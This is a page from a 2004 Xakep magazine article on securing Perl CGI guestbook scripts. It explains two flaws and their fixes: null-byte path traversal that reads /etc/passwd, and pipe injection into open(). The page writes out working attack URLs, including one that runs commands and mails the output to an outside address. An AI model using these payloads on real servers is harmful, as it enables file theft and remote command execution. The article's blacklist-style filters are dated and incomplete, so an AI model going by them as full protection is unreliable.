Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР #69, СЕНТЯБРЬ 2004 г.

Железный скрипт

Докучаев Дмитрий aka Forb

Xakep, номер #069, стр. 069-130-2


Нулевой баг

$num=param(‘num’);

$guestdir="/mnt/hdb/web";

open(MESS_FILE,"$guestdir/$num.txt");

Переменная num берется из потока и, по-видимому, содержит номер страницы, на которой юзер оставляет сообщение. Казалось бы, проверка на спецсимволы здесь неуместна – к значению переменной автоматически прикрепляется расширение txt, что не позволит, например, прочитать /etc/passwd. Но если хакер пошлет запрос вида www.lamer.ru/cgi-bin/book.cgi?num=../../../../../../../../etc/passwd%00, системный файл будет открыт и отображен вместо страницы с гостевыми записями. Это происходит потому, что сишная функция обработала строку до появления нуль-байта, остальные же символы (в нашем случае .txt) просто игнорировались.

Пофиксить уязвимость можно с помощью элементарной проверки $num на спецсимволы. Если в переменной могут встречаться буквы, фикс выглядит следующим образом:

die print "incorrect number" if ($num=~/\0/);

Если достаточно, чтобы переменная принимала только числовое значение, можно обойтись регулярным выражением вида $num!~/\D/.

Атака через пайпы

Символ «|», или пайп, как его еще называют, открывает аргумент функции не для чтения, а для исполнения. Это ты знаешь сам либо понял из описания первого бага. На наличие пайпов нужно проверять все входные переменные, в противном случае хакер может использовать твою гостевуху (или другой скрипт) как web-шелл. Рассмотрим следующий бажный блок кода:

Опасная переменная

$message=param(‘message’);

open(MESS,"> $message");

print MESS "Mess: $message\n";

close(MESS);

Этот код безопасен в том случае, если в переменной $message отсутствует символ «|». Когда хакер осуществит запрос www.lamer.ru/cgi-bin/book.cgi?message=|id;uname –a|mail xakep@xakep.ru, команды успешно выполнятся, а их результат злоумышленник получит по мылу. Кстати, мою первую гостевуху хакнули именно через такую дырку. Наступать второй раз на грабли я не собираюсь, поэтому всегда проверяю входные параметры на наличие пайпов.

die print "Go to /dev/null" if ($message=~/\|/);

Проверка на вшивость

Как ты понял, входные параметры сценария представляют особую опасность. Поэтому обязательно проверяй их на наличие спецсимволов. Из вышеописанных ошибок следует, что проверку необходимо делать следующим образом:

$input=~s/[\0\|\;\\\/]//g;

Подобная строка кода удалит из переменной все запрещенные символы. Эта конструкция часто юзается в моих скриптах и гарантирует их безопасную работу. Если ты не уверен в абсолютной безопасности своего скрипта, очисть принимаемую переменную от двойных точек:

$input=~s/\.\.//g;

Этот шаг приведет изменение запроса ?message=../../../../etc/passwd к виду ?message=////etc/passwd, что обломает замыслы хакера. Впрочем, скрипт принадлежит тебе, поэтому только извращенная фантазия – путь к абсолютной безопасности.

Назад на стр. 069-130-1  Содержание  Вперед на стр. 069-130-3